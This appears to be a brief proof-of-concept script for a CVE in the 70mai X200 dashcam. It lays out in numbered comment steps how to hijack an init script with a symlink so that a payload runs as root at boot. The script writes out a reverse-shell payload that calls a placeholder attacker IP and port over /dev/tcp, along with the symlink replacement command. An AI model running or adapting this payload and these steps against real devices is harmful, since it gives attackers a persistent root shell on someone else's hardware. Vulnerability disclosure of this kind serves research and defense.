CVE-2025-12915

# CVE-2025-12915 PoC: 70mai X200 Init Script Binary Hijack # Reference: https://github.com/geo-chen/70mai # Step 1: Identify the vulnerable Init Script Handler # The Init Script Handler processes startup scripts at /etc/init.d/ or similar locations # Step 2: Find the target init script TARGET_INIT_SCRIPT="/etc/init.d/70mai_service" # Step 3: Create malicious payload to replace the legitimate binary MALICIOUS_PAYLOAD='#!/bin/sh # Reverse shell payload /bin/sh -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1' # Step 4: Exploit the file inclusion vulnerability # Since PR:H is required, attacker needs elevated privileges # The vulnerability allows including arbitrary files via path traversal # Example attack vector (requires local access): # ln -sf /path/to/malicious/script /etc/init.d/70mai_service # or # Modify the init script configuration to point to attacker-controlled file # Step 5: Wait for system reboot or service restart # The malicious code will execute with root privileges echo "[!] This PoC demonstrates the file inclusion vulnerability in 70mai X200" echo "[!] Exploitation requires: local access + high privileges" echo "[!] Result: root shell via init script hijacking"

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